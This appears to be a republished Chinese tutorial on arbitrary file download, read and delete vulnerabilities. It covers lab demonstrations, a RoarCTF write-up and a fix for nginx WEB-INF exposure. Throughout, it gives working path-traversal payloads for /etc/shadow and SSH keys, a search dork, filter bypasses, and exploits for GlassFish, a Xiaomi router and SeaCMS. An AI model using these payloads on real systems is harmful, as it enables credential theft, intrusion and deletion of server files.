web安全文件下载&文件读取&文件删除漏洞
Posted Nu1LL+
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了web安全文件下载&文件读取&文件删除漏洞相关的知识,希望对你有一定的参考价值。
一、任意文件下载漏洞
很多网站都会提供文件下载功能,即用户可以通过点击下载链接,下载到链接所对应的文件。但是,如果文件下载功能设计不当,则可能导致攻击者可以通过构造文件路径,从而获取到后台服务器上的其他的敏感文件。
漏洞演示
现在我们通过pikachu漏洞平台来认识任意文件下载
在这个unsafedownload模块下我们任意点击图片进行下载
正常下载图片地址:
http://127.0.0.1/pikachu-master/vul/unsafedownload/execdownload.php?filename=kb.png
这里正常下载的是图片,但是如果我们构造一下让他下载其他文件如网站首页index.php
http://127.0.0.1/pikachu-master/vul/unsafedownload/execdownload.php?filename=../../../index.php
可以看到成功下载index.php
漏洞发现
如何发现(网站URL中存在下载参数,并且未进行过滤…/…/…/字符,且输出了文件内容)
1.Google search
利用inurl:“readfile.php?file=”
2.从链接上看,形如:
download.php?path=
download.php?file=
down.php?file=
data.php?file=
readfile.php?file=
read.php?filename=
3.从参数名看,形如:
&RealPath=
&FilePath=
&filepath=
&Filepath=
&Path=
&path=
&inputFile=
&Inputfile=
&url=
&urls=
&Lang=
&dis=
&data=
&Data=
&readfile=
&filep=
&src=
&menu=
META-INF
WEB-INF
index.php?f=../../../../../../etc/passwd
index.php?f=../index.php
index.php?f=file:///etc/passwd
readfile.php?file=/etc/passwd
readfile.php?file=../../../../../../../../etc/passwd
readfile.php?file=../../../../../../../../etc/passwd%00(00截断)
当参数file的参数值为php文件时,文件被解析则是文件包含漏洞,下载源码则是文件下载漏洞
漏洞绕过
1.若过滤字符或字母可尝试编码绕过
2.利用 ../../
但是有些代码会进行过滤(具体要根据代码进行测试),会把 ../
置空
利用....//
代替 ../
利用..//
代替 /
具体怎么绕过还是得看代码是怎么写的
漏洞利用
利用:(信息收集信息>猜路径 >>下载配置文件/代码文件 >> 利用服务器软件漏洞> shell> 提权)
1.任意文件下载漏洞的利用主要是为了信息收集,我们通过对服务器配置文件的下载,获取到大量的配置信息、源码,从而根据获取的信息来进一步挖掘服务器漏洞从而入侵。
2.下载常规的配置文件,例如: ssh,weblogic,ftp,mysql等相关配置
下载各种.log文件,从中寻找一些后台地址,文件上传点之类的地方,如果运气好的话会获得一些前辈们的后门。
下载web业务文件进行白盒审计,利用漏洞进一步攻入服务器
3.Windows:(windows的这些路径不一定都存在)
C:\\boot.ini //查看系统版本
C:\\Windows\\System32\\inetsrv\\MetaBase.xml //IIS配置文件
C:\\Windows\\repair\\sam //存储系统初次安装的密码
C:\\Program Files\\mysql\\my.ini //Mysql配置
C:\\Program Files\\mysql\\data\\mysql\\user.MYD //Mysql root
C:\\Windows\\php.ini //php配置信息
C:\\Windows\\my.ini //Mysql配置信息
C:\\Windows\\win.ini //Windows系统的一个基本系统配置文件
Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/usr/local/app/php5/lib/php.ini //PHP配置文件
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数
注意:当我们遇到一个任意文件下载漏洞时首先要注意下载的权限问题。因为权限决定我们能下载的文件范围。
二、任意文件读取漏洞
任意文件读取是属于文件操作漏洞的一种,一般任意文件读取漏洞可以读取配置信息甚至系统重要文件。严重的话,就可能导致SSRF,进而漫游至内网。
目录遍历漏洞
许多的Web应用程序一般会有对服务器的文件读取查看的功能,大多会用到提交的参数来指明文件名,但是这里访问了某个目录直接导致这个目录下的所有文件展示出来就形成了目录遍历漏洞,是因为用户对网站的配置不当造成。
GlassFish 任意文件读取
glassfish是一款java编写的跨平台的开源的应用服务器。java语言中会把%c0%ae解析为\\uC0AE,最后转义为ASCCII字符的.(点)。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转,达到目录穿越、任意文件读取的效果。
参考:https://blog.csdn.net/qq_36241198/article/details/115110603
payload:
读取系统文件
theme/METAINF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
小米路由器 任意文件读取
小米路由器的nginx配置文件错误,导致目录穿越漏洞,实现任意文件读取(无需登录)
参考:https://www.seebug.org/vuldb/ssvid-98122
nginx配置不当可导致目录穿越漏洞,
location /xxx {
alias /abc/;
}
可通过访问http://domain.cn/xxx…/etc/passwd实现目录穿越访问上级目录及其子目录文件。
在小米路由器的文件/etc/sysapihttpd/sysapihttpd.conf中,存在
location /api-third-party/download/extdisks {
alias /extdisks/;
}
payload:
http://192.168.x.x/api-third-party/download/extdisks../etc/shadow
三、任意文件删除漏洞
在一个网站中,涉及文件删除操作的函数,如果文件名可控,将可能存在任意文件删除漏洞,该漏洞可让攻击者随意删除服务器上的任意文件。
海洋影视后台任意文件删除
先进入后台,先来到内个删除函数漏洞点
后台地址:http://127.0.0.1/seacms/j7e91x/login.php?gotopage=%2Fseacms%2Fj7e91x%2Findex.php
确定好漏洞利用点,访问http://127.0.0.1/seacms/install/
这里有个思路就是通过文件删除漏洞,删除install_lock.txt,实现网站重装
payload:
/seacms/tagzcl/admin_template.php?action=del&filedir=../templets/default/images/../../../install/install_lock.txt
解决BurpSuite中文乱码:https://jingyan.baidu.com/article/25648fc1bd28a09191fd001b.html
这里install_lock.txt文件被删除后就可以实现重装网站了
海洋影视后台漏洞参考:https://xz.aliyun.com/t/3805
漏洞总结:在文件包含、下载、删除与读取等安全漏洞,基本都是通过观察参数名传输,是否可控,尝试修改参数值测试是否存在这类安全问题
四、CTF赛题RoarCTF 2019 EasyJava复现
访问help,发现Download?filename=xxx 这不可像极了任意文件下载
虽然这里提示的是帮助文档不存在,我们换成post传输
可以看到word文档的内容
接着这是由java开发的网站
JAVA WEB目录结构:
WEB-INF:Java的web应用安全目录;
此外如果想在页面访问WEB-INF应用里面的文件,必须要通过web.xml进行相应的映射才能访问;
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码
漏洞成因:
通常一些web应用我们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,可能会引发一些的安全问题,导致web.xml等文件能够被读取。漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。一般情况,jsp引擎默认都是禁止访问WEB-INF目录的,Nginx 配合Tomcat做均衡负载或集群等情况时,问题原因其实很简单,Nginx不会去考虑配置其他类型引擎(Nginx不是jsp引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改Nginx配置文件禁止访问WEB-INF目录就好了: location ~ ^/WEB-INF/* { deny all; } 或者return 404; 或者其他!
我们先访问 WEB-INF/web.xml
发现servlet标签属性中有flag的字样,我们通过/WEB-INF/classes/这个目录来构造访问,注意在前面加上classes来访问来访问class文件目录(详见上面的目录结构),且文件后缀为.class
补充知识点
<servlet-class> 这个就是指向我们要注册的servlet 的类地址, 要带包路径
<servlet-mapping> 是用来配置我们注册的组件的访问路径,里面包括两个节点
一个是 <servlet-name> 这个要与前面写的servlet那么一致
另一个是 <url-pattern> 配置这个组件的访问路径
<servlet-name> 这个是我们要注册servlet的名字,一般跟Servlet类名有关
举个例子
<servlet>
<servlet-name>LoginServlet</servlet-name>
<servlet-class>com.breeze.servlet.LoginServlet</servlet-class>
</servlet>
pyload:
filename=WEB-INF/classes/com/wm/ctf/FlagController.class
这可不base64解码下来就是flag,也可以把文件下载出来反编译
以上是关于web安全文件下载&文件读取&文件删除漏洞的主要内容,如果未能解决你的问题,请参考以下文章